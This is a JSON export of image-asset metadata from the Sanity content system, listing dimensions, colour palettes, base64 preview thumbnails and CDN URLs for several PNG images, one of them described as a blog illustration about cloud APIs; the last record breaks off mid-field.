{"_createdAt":"2022-06-30T20:09:44Z","_id":"image-d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397-png","_rev":"CK1sLU2mnwa3vmbYWEdPto","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:04Z","assetId":"d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDRWF@WLpe^Z}[60DqjYJh-q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.465994962216625,"height":397,"width":979},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuklEQVQokU3RWU8UQRSG4fnh3utf8NLolV6oUWMICYmACwio9NAOY4MsPb3N9Da9VNf6GlrGWCeVnIuTJ9+pmqy6gVm6Znee8fIk5PnRDVvTmFlUUq1beiFohOKmaJnnBbeiJNQFgUrwZchcRlyrJYmuKEzLJO8l86zhnRfx8L3Pg9cejz8EfAqWFK1gUJqsFXhJxkl8gVefc9rNOO08zvpvzMSUC3lLrEtK0zGRxtJKzXm65unBFY+2fvLs8Ao/rhHKoPVAVkcE8ZTL8AtB9JEg2WWx2ma13iEfflDojM5KlDNMHH/PoC2XecvBdc40KVl2PYMx6KGiTY/J56/IvRdkwQ5VdMiQ7qPqrxh1g3UCNxZMrHNsrrKWRikWXcNZXvC7bOn6NXo1o/ff0Hx+QhfsoZoU0y+RIqMRFbXoGbQZjTHhBrzrtbOEXcP+IuU4LqiEwsoWFX5nmL5FLTysHsY8nZT4ccHer4TLZTMGmrh7aAMa51iKAT+vua47BmNxzmLaFJPPMe0Sa80420nNaViy7Sf4UU2v7t/wDv0frKVm1SvEHbbZwGqsVVhn/21krBs/dNVKql6N4B91ZFsMl0jj3gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c68","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#266486","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c88a","foreground":"#000","population":2.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bccfdc","foreground":"#000","population":0.59,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c88a","foreground":"#000","population":2.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5483a0","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8434","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397.png","path":"images/sczeoy4w/production/d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397.png","sha1hash":"d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd","size":115407,"uploadId":"jPpy7khV6Jbcz2xr4Ha0ygHdzKVRZaH6","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397.png"} {"_createdAt":"2022-06-30T19:58:03Z","_id":"image-5c5eb41868a89db3f1779c9baf66f18820b48452-400x242-png","_rev":"QRl2cGoCgj0FlAhkRrhlLp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:26Z","assetId":"5c5eb41868a89db3f1779c9baf66f18820b48452","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfMHMsNG00R*9F~qj[IUofRj9Fjt-;j[xu%2j[ofaykC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6528925619834711,"height":242,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBUlEQVQokXXRzWvTYADH8fwBOhgMBoqK4BAE8eSxG7X1PcmEoqBepAraMp116maaPGkRJguUPvUmyC5e2k4vunaz7WCElVBPPRWMlDLoGtduXZr3lw0k7USd9MOP5/R8eQ4PMp9Mzy98TH5ZZDmuUqnwPM//6Os7z5fLZZZlC/lCLpdDfBMh30QoGHn9KbtcrVbr9Xp9Y0P4V0MQGo2GIAi1Wq2Qz8N4nJljEhAi5/CbZ1Ef/uhxOrO02Wx2JEmSZVXVVO3PNE3XdGetViu7mHkx9fzpk0lAUcjpqzdGLuNXHgTT2eXm1rasqqqma4apmaZzGoZuGIZlm7Zt2btip5PP5YmZV1OhZ0588tL4iYuY934glenFmuK8Y+imaVhWb6bdi21JklmWfTM7OzM9TZIkctyLH/NiHn8glf26vbOj64amdx+zrF3H3u85FEXhOC4WixEEEQ6HkaMe/IgHc/uDqaVcWxTNLrtb7h1gWYooljgOQkhRFAAAGfbgwxdw173Ah8+Zn82mLMuysk/9m6Io7fbW+npxdTUBIU3TkUgEGXJjQ27s/G0/8+49u7b2rZ9SqVQsFldWFpJJhmH248ExbHAMOzN+5+FLIhaPJ94m+oKw+8Nz0WgUAEDTNDIwig6MoiPXb90NToZJEgBA9QMOQg670EMu9NQ1JyYpiqbp/+709QsaDuqamOR9ZQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345c61","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a424d","foreground":"#fff","population":13.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":27.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b0b2","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc9494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":27.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da6670","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5c5eb41868a89db3f1779c9baf66f18820b48452-400x242.png","path":"images/sczeoy4w/production/5c5eb41868a89db3f1779c9baf66f18820b48452-400x242.png","sha1hash":"5c5eb41868a89db3f1779c9baf66f18820b48452","size":16784,"uploadId":"b9wWrGD5rQnzcQAmGMSoqFw9GupgTDZb","url":"https://cdn.sanity.io/images/sczeoy4w/production/5c5eb41868a89db3f1779c9baf66f18820b48452-400x242.png"} {"_createdAt":"2022-06-15T20:01:56Z","_id":"image-6cd123a765bb3a299258683ccf8097728e88d492-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcSiZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:42Z","assetId":"6cd123a765bb3a299258683ccf8097728e88d492","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MfQ=8f}%sSAv+[Jow]oLSOfi+ZI[ofs,Si","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACh0lEQVQokS3R209SAQDHcR5qNWfp0jZFW5qwycY0SxvDC6ESh+sBATncAxNMRNFAAYMwdehMUSyTNbbccC231ksrH3qx5ouPrbbWetJW6dZNZzf1/JquP+D78vkyEDiKUA4C+fAVoJMJZz4cBbAVwczaozg/deXfdRe+NQs2VOI1iWJNpNoQKrfr5Lt8BXhqBvqPY4iNQS4iXFwrgYsJBxO207SJtWkoe00JXxpUL/Tax6RlRuKdvuRPN3qWhdb1Gu3OfhzKwA0mwiUIstBTjPZTcBbRLWzaWrpm4i2YTWN67wDZ7ZYFTNKYUTJhI0aDosATQfs633wQRwsxwEG0HNcrEKxEH5/2C2hP7YfLwjRl7yKjFvmUmZyxNCUNZFotTWuJ2ahobOmil4FwFka5iAsQF2NMghEZYmoMa+mIZstNrOgVcUVXh+Jum+5Bm/6hVbVoki62EPN9RPy+pI+ByAlMVCKpwqweCS0mmxE3Y8KOcdfeTdumW/mKakrpAj5T8qou1S2bGyLuJYnhObHvqcjNQCQXkzykKKSsuENh2oSEHQknbnvpqR46av/Rqlyytcac42HjrXlFYIVwvZVY3jWYPlYbGQhlYvAMRqoQq8FQLQYECNejn0C/EkEN7VX+sda/NzYtXAkkXKPPLL2f5dSvRsXvWnJ3X7v3EPwZ6MmG9+T+5wNtONiwcWApg6GC1pzfVvHfUNS8M/rIEV6VUbt1Uvr/597D8B2BNxOebLTnwpmHlkLYimFmw8CBvgyaczRZ9VUtXjZ0PNd5VkXqnTopakjwNQyEjiGQBX8OuvPQWQh3EdpYaC2FgwvbWZgrQfGgq/6rafiiVn+Sa7bEir1GEkItBNQ/PbBTlKXbv7UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474565","foreground":"#fff","population":8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6622a6","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7406","foreground":"#fff","population":8.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb7cf","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3b4a","foreground":"#fff","population":6.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c70b9","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7406","foreground":"#fff","population":8.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6cd123a765bb3a299258683ccf8097728e88d492-1567x844.png","path":"images/sczeoy4w/production/6cd123a765bb3a299258683ccf8097728e88d492-1567x844.png","sha1hash":"6cd123a765bb3a299258683ccf8097728e88d492","size":186543,"uploadId":"O7c4YfUvQAr8Mex3X4LjeL72yoxlzJBf","url":"https://cdn.sanity.io/images/sczeoy4w/production/6cd123a765bb3a299258683ccf8097728e88d492-1567x844.png"} {"_createdAt":"2022-06-30T19:58:08Z","_id":"image-3c0221be219d3bb26157a2c86c01e2ba8572aede-400x242-png","_rev":"cEPH2uRN58AU2lp9QO7ndx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:31Z","assetId":"3c0221be219d3bb26157a2c86c01e2ba8572aede","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3QcxM00000000%0_1_2~V^*xa^k%2?a?G_3-:-:?H%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6528925619834711,"height":242,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2ElEQVQokZWQvWsUQRTA579IkypNqpSpFARR0ELUxsbCQrCy1EIJgWBCQrBRNJfdRCM2Inc5JPE0Bm0FoyDZC5LzFMPGy93t7c7Xm3kzszaye3G9IiD+eDDMx++9N49U32+9+PBx8/N20Py+H/5s5XTanTiOaZIcGb1udNA62A9DcuPZ2s3na3Prb1992ql/DcNWu9Pt9qIeZ0xyIcURIRhnlNIkIRfuPzl/b+X602p1q/5lr9tNuAQlpQQpNSitlFYaNZoC+3clZ+4un5r3rq2U32zvRlQorY0xCkAwDlwqCVopg2j7GGMwe+CsTdOUnJxfOjHnX31cebfTEADGICIKKRilIEArbTAvm4uac+i0NaXWGOccOT7rH5v1rzyqbAa7TIhMNShAUEaFEABK571kMiLEMd/7oaIok9OUjM/44zPe5eXKRi7360iQ2UCShHOutc4ads5aqwGAMQPgnMvksWl/7I5/aWn1ddDgEqw11lpQkM2TZsUR0f3B5L/KU2WQ0SlvdMq76K3WggaHQxkRAUApNWgWsivkkcnFkcnFc6VKrd4Ejc4dXhTp0wH658WWDE+UhidKZx+Wa/Vvytj01+Djf0CGbi0M3V44/aD8MmgqY/5L/g1UfHllH94QFQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#487584","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#137994","foreground":"#fff","population":1.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#137994","foreground":"#fff","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5cdca","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed7076","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649ba9","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#498ecc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c0221be219d3bb26157a2c86c01e2ba8572aede-400x242.png","path":"images/sczeoy4w/production/3c0221be219d3bb26157a2c86c01e2ba8572aede-400x242.png","sha1hash":"3c0221be219d3bb26157a2c86c01e2ba8572aede","size":26275,"uploadId":"o25vKpAS3Tlan1VK13LfUBq3cp0ctYNO","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c0221be219d3bb26157a2c86c01e2ba8572aede-400x242.png"} {"_createdAt":"2022-06-30T20:09:43Z","_id":"image-19688dae33d41052dc42c44430fe743d2e5bd74c-381x438-png","_rev":"CK1sLU2mnwa3vmbYWEdP2O","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:01Z","assetId":"19688dae33d41052dc42c44430fe743d2e5bd74c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ebSOjzuOpwm,ofuiVEn4gNf6kWaynOf+f+icbvkqaee.b^aeaKaybb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8698630136986302,"height":438,"width":381},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAYAAAALHW+jAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEZklEQVQ4jWWU/W8URRjH+StM/MFoYoxi1ASsYtQfDGKBFmiklBgsiS+/iFR8g4KEqOgvLVV/MMSoMWpVkAhIFFOKDdJytaC2Z61GpG+00Jfr3e7O7s48s293/Zpn7nq96ibfzO7M7Gee5zszzzIpJRzHgW3bsCzLtK7rmnZubs6I+1nZbLbcx+88L45j8DM/P2+0zPd9WLkcMrOzmJmZQSaTQY6/MxlMT08bcf+CpqamyuJ5URQtBfIKYRhCa11WEASmJSIjpVTxfUkfmXn5fL4MM8AFeoFVmEecJGZVXiiOi+9hGJk2Mn2xmZPPF8z8Aqv0vwEaWGmAJ5EOIFwXnudDSmVa1/Xgej4834fvS0ilEEWxmZ8k+aLyecMoAXm1ggmf03KEgBCuAfLPni/hyyKoKIIOAgRhBB2ExoIgDA3DAHmFIGAfAxMh+6OI/QxApM03t0Vfi9+8GEereExrsw9lYBhFJiWOikFRnBS9JI3AEdCeD+1LBLaAzlnQtgOyHSjbgfaVCSZkCxaAHLoj+Ow5ZkWOmNOPcxaCKyOgq5PQs3PQk9egr4xAj45Bj42Dxq6CZufgCw/SJ+ST/AIwhOMI2I5jUkryBTMYT89AX7wE6rsEYtD4BGjoL+j+NKg/DZUehBoehXt9Gm7WQhLF/weybxy6AWZz0ANpqJ6UAejBP0CpXlDXOdBP3VC9fVCDQ3D/GYF7fQZJGFak7AhYlm3MZg9Nyryb16bMTyr1M6ijE3T0GOiLr0CnvoPqOgd18ReI34fgjk0g0cEi0HYEsjnLbAybzD7GvBnjE1C/paE6u0AnvoU68nURePwkZEcnZE8Kzq/9EMOjSEiXdrliU8oR8o1g8zmSz9qhPm03QH2hF7q3D7qjE4rHzpyF6E7B/fNvJFIt9ZBT5mJhjkAYIe4fgD70DlTzPtCbb4EOfwA6eQr69A+gz9uh3j8M9eHHEO1fwj3fg8RxFoGcci5nmWvGFiQMHEgjaG0DvfAiaNdLoFd2g/Y0g3Y3g15+FZLVvA/i9YMQx44jyWQqUxawbI5QLkY4kIZuOQS1Yyfo6WehG7eD6htANRtAj9dDPrkd8qln4Dy3E+KjT5BMTVWkzEDLNi1fv5jV3QNq2gW5sQ6qdhNofS2oeh1o9RrQmmrIteshazbA2dwA0fYekonJypsikLPsxZS1RvRjF2hbI7yVVfBXVkHdtwrqkdWgjXWgx9bCf/BhI/vRaoiDbyMZG69ImTfFtotXj2+KDhCdOQu5ZSu85XfBu+0O+Lcvh6xeB81+1jfAu2cF3DvvRq5qFZy9ryEZHvkP0CoB+aZwUeXDvGcv1LZGyK1PQG7eAvV8E/QbB6E31cG/6Wa4N9yI3C23QuxoQnL58mK1Ea5nCisf6oWrl8xmEPUPGHCY6kV0vhvBNyeg9x+ArqkFVd0PteJeeA88BH//ASQjo0UglyouCiwu+wZoCm5FRWaVDnt45Cii1jZELa0IW1oRtL2L4PvTKGSz+Bek/XKawypIBAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4041","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c91c1e","foreground":"#fff","population":0.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f41113","foreground":"#fff","population":4.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9e99","foreground":"#000","population":0.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f57a7b","foreground":"#000","population":3.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#938789","foreground":"#fff","population":1.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f41113","foreground":"#fff","population":4.48,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"19688dae33d41052dc42c44430fe743d2e5bd74c-381x438.png","path":"images/sczeoy4w/production/19688dae33d41052dc42c44430fe743d2e5bd74c-381x438.png","sha1hash":"19688dae33d41052dc42c44430fe743d2e5bd74c","size":42247,"uploadId":"BsRFg7L3TnmoHCAYi0egDBcVnbMWDmvO","url":"https://cdn.sanity.io/images/sczeoy4w/production/19688dae33d41052dc42c44430fe743d2e5bd74c-381x438.png"} {"_createdAt":"2022-06-30T11:58:23Z","_id":"image-bdb98ca9ebec8964a36e3ece227472fb014dae49-320x244-png","_rev":"cEPH2uRN58AU2lp9QO7oZF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:42Z","assetId":"bdb98ca9ebec8964a36e3ece227472fb014dae49","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V268Qt_Le.IC8|DQIVof%LxttRt6oLWCoJo*t9oeV?V?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3114754098360655,"height":244,"width":320},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZklEQVQokTWT227cNhCG9R5dm+IceRQla4+OV+vEdmNj3TgunCZBi7YXQU8pkPj9bwpJzYcfBIHhcMh/MJXjU6+cUipN6fu+6zrnHCHgKKQJRFTVODFGmXEEKkQ7RgmZ2QfvgycmAFtPzPkAwExugpmtnaOmIib2xAE5oASWwByIA8F0hohFhBCmt4wAwHyvMaYST2njyxDKITT7kF/4Zh/KEPxKyOOYqiqMwhbBztT1rLpygdaHMBzz4T4Px7S/S8MxHY5p89KHQqLinIbAMaIoMqMKsiASWKgrr3i+5uuDfn+p14Ne7eX6IDeDDDtKcfxqiK47c/3Klc6VVrpOS6shCwtWZOsk9iziMnOfuAtUPBStk9QMtbVWHTfFdWe+tCE3mrPEyM4TM1TGGLA1IYiwd6oiAGBOT405nQGwzOh07IU6RRwNM6NfpgKAuafE7HP2uSGR2loz+WmMqe1Yf2q1U1VEnK0ek0k4lDat1mmzWV5dbW9ftxf7uF67tsOppXYyeSxBSIzENLk1uS1OL27297+8efjt8f2fTz9/fvfjp6f735+uHm9Tl1nJJXVJXFSX1Dcutj60TgIDQuW83v6w+/T59d9f7/75cvPv8/Vfz3d/PN//9Our5SaFxvUXZXlo+6Hrh3Z56FYvz5aXXdlmjVKJ8ovL9s27zePH3cP77cOH7duPu7cfdjfHvmlVozTr1J037a5p1rlsm+68tLucV3FMtmB91KaP7SqVUbld5bKMsXFIUENNShqUHSMjMpLQvAG01WKx+H8Avk0STJNgjFmMfFfbGhCMqU9OThaLWYuTaf0PIWyYCutap/wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f452a","foreground":"#fff","population":2.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#641f09","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f452a","foreground":"#fff","population":2.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#76a6b3","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0cc70","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1945c","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#964114","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bdb98ca9ebec8964a36e3ece227472fb014dae49-320x244.png","path":"images/sczeoy4w/production/bdb98ca9ebec8964a36e3ece227472fb014dae49-320x244.png","sha1hash":"bdb98ca9ebec8964a36e3ece227472fb014dae49","size":18663,"uploadId":"g2b4CjJyijTaFSVJLHu12YLa8DChK0Ny","url":"https://cdn.sanity.io/images/sczeoy4w/production/bdb98ca9ebec8964a36e3ece227472fb014dae49-320x244.png"} {"_createdAt":"2022-06-25T01:00:48Z","_id":"image-d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriTz5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:17Z","assetId":"d16e9efef6bf4b760f0318b3aab2fb01270397dc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTP?XR.TS4R6xuJFWUR%s:s.^*9FkBxaS2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADE0lEQVQokTXL609aZxzA8fN/LtmrZdmyZMuWhW5NZa1tYo92WhvH2Cx4YypoQ9eLU6uCRNEWPICU2+HycM7Bc3uec/EADiX8fstM+uKT76svJyn0hxbRFsSG8qImyhtiXdms1eVbkmLGDNpdoVY/bLJeiBqXYao6IV1zQ0Sxw9KFE7Ldq4Vu/2bt0hssWXbfz+XPa6Hj9JmYSKbt/cQxTSTT7DB1ylJHH5iQK9O2bBiG6emsoepuIqt7L5OasfteL6eLeiVX1mijqV21JebVSZO2Lza5s1wplkydWnsHR/jJQTKNicMTTJ8IWBUl1Fsaum+PsDsbwe70ImpPl1AIrWIquo5nL6JY/iuC+dDi5Un81QHXauvrtbps/j9WRWlUFSX4RKzL0JZ1UIUq6H+sw0UgAs3Y35ANhkevfp0ZLc1Ow/Ls9Gjh4Tg+893xeP8v7zmT9aIm61GTddFkXbgt9cCkl0ipC4bOgAhFqMW3oPB2BxL/bMFGZBmW5+chGAgA//gxPBofxwdjY/17Pl+Ro1YvSq0uZayLjHlgMRct5qBNbXSYhaaqYr1cxkImiwfv9nF1dRWDwSD+Fgjg5NQT/OmODyb8d3HpyYQXm+HTHGNu1GIOtaiNNmUjx6TgmAa4pg6eqQHrtOGjkIGt13FYfB6A+d+fQnBuGh7dvwfff/sN3P3ua4hO+bGw/qfT2Y+/4xzTjDqGYTqGjq6hjS6NC/CMDnR1GXqGBI7SgNzxHsTCU7AW/Bm2V+7D9vMfYfnh5/Bs7EtYm5sY5d5EUf2QtHv17C7nSY2YTURG2yI6nSb2NIJ9vYVXWhP/1eroShWsZVOYP9zAthBHMxdBfceHyuZX2N6eQTmzg2o5i04z717Lwh7Xq+XmrFJWUCuCxEip1VdFMtBEMlCr5FqtkJ5UJHo1Q2ySJ0OnTdAQyKi0TKAQJtDYJUM52xpIOWkon52DklnhrkjxM69Z8Dut88muXOIHaoW/Viv8jVrihxcf+ZtOgb9W8vxQLfEj2uBBL/Ign/Agn/KgZG6hkpnETuYBdjJf/AcrctOAGslVQAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d304b","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a2e09","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c79496","foreground":"#000","population":0.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79496","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc649c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c698c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5c16","foreground":"#fff","population":0.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844.png","path":"images/sczeoy4w/production/d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844.png","sha1hash":"d16e9efef6bf4b760f0318b3aab2fb01270397dc","size":319523,"uploadId":"FompaMKqnwYoenh12BiDxKwTtZiaiCb5","url":"https://cdn.sanity.io/images/sczeoy4w/production/d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844.png"} {"_createdAt":"2022-11-08T11:52:12Z","_id":"image-5a5c32f1a39ade4ceb13bb9114f0edb42790fed0-3133x1688-png","_rev":"tCTpYSXtZaN94JPfl67ZTS","_type":"sanity.imageAsset","_updatedAt":"2022-11-08T11:53:15Z","altText":"Future-proof your app: Why your cloud platform needs an API","assetId":"5a5c32f1a39ade4ceb13bb9114f0edb42790fed0","description":"Blog post giving an understanding of why an API is an important feature to look for in all their cloud buying decisions.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACDUlEQVQokV2Qa08aQRSG9w+Unb2wc2ZlBRfQxFtSbVoLguhil0tYdi7LVUyUpn6xqQhVW0BtTPq7mwHbD02enA+TPOed8yqQ6jmZgZMdrLh9e61vuz3b7SfSZ052YKfPyFqPrPXsxYw7bY0IBByBQCA0IpTM1sXB0ajk3x9641xplDu+zZ+Mi+VJwRvnT8b549sPxZtCeVL6dLf59ouZaKmYq1KOEETKxu6wXPvRjH75wfS0/tNvTL3ag9+YVpqzWjiv06dqOGedl6j/++j0e2br0ky0EWkh0tJIS1nfHfqNKeu81OljLZxXgulx5a7SnDX4kx9M/WBWDed19linT17tYe/jte2eSRkiFQsls31Z8u8C8Rzw52pz5tUeTqr3dTr3qvfb+1fZneHG7ufszjCzNUxvXqyun8edjiZlEbO4ktw438tdF7xJoTw5KN68y399f/gtVxpt719Zq51lN8sLEXANmEG4bss/y5t1O7JWOyTVhVQPkl2c7GA5u6/dSISKI4SFDtwAagA1bW5Iv63E4ixmsVicvXmF/kW+L2UEkQbCIEwHqmNqEmoQoUGkWMASTrSS6soaZQhbIjcuQJjrhBuEmSQ0IJThhGoglyoJm2bdtrs+wMmuCvyfs0TFMs0AqgM1SWiSUAeqAZOFYa6YwKwVEU+0NCJU/L+MFrKGqYqlrwNFmKkgJFj8AVo7jvJtAa4LAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d2959","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":49.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":49.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d2","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9aae8","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b84451","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags